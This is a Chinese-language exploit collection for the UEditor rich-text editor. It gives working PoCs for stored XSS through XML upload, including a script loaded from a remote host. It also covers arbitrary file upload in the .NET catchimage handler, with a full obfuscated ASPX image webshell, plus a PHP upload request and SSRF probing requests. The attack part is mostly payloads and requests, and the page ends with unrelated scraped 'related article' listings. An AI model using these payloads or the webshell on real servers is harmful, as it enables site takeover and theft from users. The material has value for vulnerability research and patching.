一、Ueditor最新版XML文件上传导致存储型XSS

测试版本:php版 v1.4.3.3

下载地址:https://github.com/fex-team/ueditor 复现步骤:

1. 上传一个图片文件

2. 然后buprsuit抓包拦截

3.将uploadimage类型改为uploadfile,并修改文件后缀名为xml,最后复制上xml代码即可

4. 即可弹出xss

请注意http://controller.xxx的访问路径

http://192.168.10.1/ueditor1433/php/controller.php?action=listfile

常见的xml弹窗POC:

弹窗xss:

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>

URL跳转:

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> window.location.href="https://www.t00ls.net/";
</something:script>
</body>
</html>

远程加载Js:

<html>
<head></head>
<body>
<something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.org/1999/xhtml">
</something:script>
</body>
</html>

常用的上传路径:

/ueditor/index.html
/ueditor/asp/controller.asp?action=uploadimage
/ueditor/asp/controller.asp?action=uploadfile
/ueditor/net/controller.ashx?action=uploadimage
/ueditor/net/controller.ashx?action=uploadfile
/ueditor/php/controller.php?action=uploadfile
/ueditor/php/controller.php?action=uploadimage
/ueditor/jsp/controller.jsp?action=uploadfile
/ueditor/jsp/controller.jsp?action=uploadimage

常用列出获取路径:

/ueditor/net/controller.ashx?action=listfile
/ueditor/net/controller.ashx?action=listimage

二、文件上传漏洞

1. NET版本文件上传

该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有**.NET**版本受该漏洞影响。黑客可以利用该漏洞上传木马文件,执行命令控制服务器。

ueditor中已经下架.net版本,但历史版本中可以下载1.4.3版本,但是否是1.4.3.3目前还没验证。

该漏洞是由于上传文件时,使用的CrawlerHandler类未对文件类型进行检验,导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个能正确解析的域名。而1.5.0用IP和普通域名都可以。相对来说1.5.0版本更加容易触发此漏洞;而在1.4.3.3版本中攻击者需要提供一个正常的域名地址就可以绕过判断;

(1)ueditor . http://1.5.0.net 版本

首先1.5.0版本进行测试,需要先在外网服务器上传一个图片木马,比如:1.jpg/1.gif/1.png 都可以,下面x.x.x.x是外网服务器地址,source[]参数值改为图片木马地址,并在结尾加上“?.aspx”即可getshell,利用POC:

POST /ueditor/net/controller.ashx?action=catchimage
source%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx

(2) ueditor.1.4.3.3 .net版

1. 本地构造一个html,因为不是上传漏洞所以enctype 不需要指定为multipart/form-data, 之前见到有poc指定了这个值。完整的poc如下”

<form action="http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

2. 需准备一个图片马儿,远程shell地址需要指定扩展名为 1.gif?.aspx 1.gif图片木马(一句话木马:密码:hello)如下:

GIF89a

<script runat="server" language="JScript"> function popup(str) {var q = "u"; var w = "afe";var a = q + "ns" + w; var b= eval(str,a); return(b);
}
</script>
<%popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

其中 UmVxdWVzdC5JdGVtWyJoZWxsbyJd的base64值为:Request.Item[“hello”]

成功后,会返回马儿地址。

(3) ueditor.1.3.6 .net1版本

使用%00截断的方式上传绕过

三、PHP版本的文件上传

利用poc:

POST http://localhost/ueditor/php/action_upload.php? action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[i mageMaxSize]=9999999&CONFIG[imageAllowFiles] []=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost Connection: keep-alive Content-Length: 222 Cache-Control: max-age=0 Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type:   multipart/form-data;    boundary=—— WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php" Content-Type: application/octet-stream
<?php phpinfo();?>———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定[http://localhost/ueditor/php/upload/fuck.php

四、SSRF漏洞

该漏洞存在于1.4.3的jsp版本中。但1.4.3.1版本已经修复了该漏洞。

SSRF

已知该版本ueditor的ssrf触发点:

/jsp/controller.jsp?action=catchimage&source[]=
/jsp/getRemoteImage.jsp?upfile=
/php/controller.php?action=catchimage&source[]=

使 用 百 度 logo 构 造 poc:

这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点:
如 果 抓 取 不 存 在 的 图 片 地 址 时 , 页 面 返 回 {“state”: “SUCCESS”, list: [{“state”:"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state为“远程连接出错”。
如 果 成 功 抓 取 到 图 片 , 页 面 返 回 {“state”: “SUCCESS”, list: [{“state”: “SUCCESS”,“size”:“5103”,“source”:“http://192.168.135.133:8080/tomcat.png”,“title”: “1527173588127099881.png”,
“url”:"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"}
]},即state为“SUCCESS”。
如 果 主 机 无 法 访 问 , 页 面 返 回 {“state”:“SUCCESS”, list: [{“state”: “\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25”}]}, 即state为“ 抓取远程图片失败”。还有一个版本的ssrf漏洞 ,存在于onethink 1.0中的ueditor,测试版本为1.2直接贴Poc
POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 37
Connection: keep-alive
upfile=https://www.google.com/?%23.jpg

五、另一处XSS漏洞

首先安装部署环境:https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3

存储型XSS需要写入后端数据库,这里要把编辑器部署到一个可与数据库交互的环境中。

首先我们打开编辑器输入正常的文本:

抓包并将

标签以及原本的文本删除:

插入payload:

%3Cp%3E1111111"><ImG  sRc=1 OnErRoR=prompt(1)>%3Cbr%2F%3E%3C%2Fp%3E

成功触发存储型XSS漏洞

更多逆向漏洞学习交流文章,请访问 大神论坛www.dslt.tech

大神论坛 UEditor 富文本web编辑器最新漏洞版XML文件上传导致存储型XSS相关推荐

  1. Thinkphp下嵌套UEditor富文本WEB编辑器

    UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码... 本文实际操作于ThinkPHP框架下,现 ...

  2. 编辑器漏洞(配合文件上传等)

    编辑器分类:ewebeditor.kindeditor.ckeditor.fckeditor.Cute Editor.ueditor.southidceditor等等 一.ewebeditor编辑器( ...

  3. Spring Boot(5) web开发(3)拦截器、文件上传、异常处理

    Spring Boot(5) web开发(3)拦截器.文件上传.异常处理 学习视频: https://www.bilibili.com/video/BV19K4y1L7MT?p=49&spm_ ...

  4. [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...

  5. 10个对web开发人员有用的HTML文件上传技巧

    作者: Tapas Adhikary 译者:前端小智 来源:dev 最近开源了一个 Vue 组件,还不够完善,欢迎大家来一起完善它,也希望大家能给个 star 支持一下,谢谢各位了. github 地 ...

  6. asp.net web常用控件FileUpload(文件上传控件)

    2019独角兽企业重金招聘Python工程师标准>>> FileUpload控件的主要中能:向指定目录上传文件,该控件包括一个文本框和一个浏览按钮. 常用的属性:FileBytes, ...

  7. 推荐一个很好的富文本web编辑器UEditor

    前天产品提了一个编辑器的bug,本人找是找到了问题的症结,就是不好改.框架是压缩兼混淆后的代码.查一下,好多年前的框架... 咨询了一个同事有关旧框架的事情,他也建议我升级编辑器并帮忙帮我找了UEdi ...

  8. Spring Boot集成Ueditor富文本编辑器,实现图片上传,视频上传,返回内容功能并且通过OSS转换为链接并且解决Spring Security静态资源访问以及跨域问题

    学习自https://cloud.tencent.com/developer/article/1452451 现在是晚上22点,刚刚和我们的前端交流完了富文本编辑器的一些意见和看法 还是老样子 需求 ...

  9. node -- 使用UEditor富文本编辑器

    最近在做一个微信素材编辑器的小项目,使用到了UEditor编辑器,使用中出现了许多问题. 1.介绍 UEditor是由百度web前端研发部开发所见即所得富文本web编辑器, 具有轻量,可定制,注重用户 ...

最新文章

  1. 动静结合学内核:linux idle进程和init进程浅析
  2. Java web对试卷进行单选多选答题进行打分_java + vue 考试系统,适配各种题型,包含微信小程序端...
  3. c# 遍历文件夹深度,C#遍历文件夹,直到找到正确的文件
  4. 攻防世界web高手进阶php_rce,php_rce 攻防世界xctf web
  5. 为什么[]==0;JavaScript里什么情况下a==!a为true呢?
  6. 网络(13)-SYN flood及其应对方法
  7. 用mendeley在word中插入文献_Mendeley教程-参考文献引用(论文撰写必备!)
  8. 两次被简书签约作者拉黑的经历
  9. javascript 字符串和json的互转
  10. cad批量打印_CAD批量打印(探索者易打软件)
  11. 基于容器的虚拟化资源调度系统的架构设计
  12. 物联网毕业设计 单片机指纹识别考勤系统设计与实现
  13. 划线法构造三角形单元插值函数
  14. MySQL中的BETWEEN...AND的用法
  15. 在计算机网络术语中wan的中文意思是什么,在计算机网络术语中,WAN的中文含义是...
  16. 如何系统地学习linux
  17. ktt算法 约化_矩阵特征与特征向量的计算
  18. 有关安全证书汇总及其科普
  19. vue校验表格数据_如何通过数据验证限制Google表格中的数据
  20. 中青年人脑白质的年龄效应和性别差异:DTI、NODDI 和 q 空间研究

热门文章

  1. Lifecycle 源码解析(2.4.1 版本)
  2. 什么游戏蓝牙耳机好?2022推荐适合苹果手机吃鸡的蓝牙耳机
  3. Google Pixel 2夺得DxOMark排名第一,是否说明双摄并没什么用?
  4. mac 版微信音频设备启动失败
  5. svn解决冲突指令:
  6. 手机发热怎么办?7招降温方法
  7. 【combotree】easyui的combotree(树形下拉框)使用总结
  8. js插件---日期控件My97DataPicker的使用
  9. 大学毕业后拉开差距的原因 有可能影响你一生
  10. nginx 启动前端包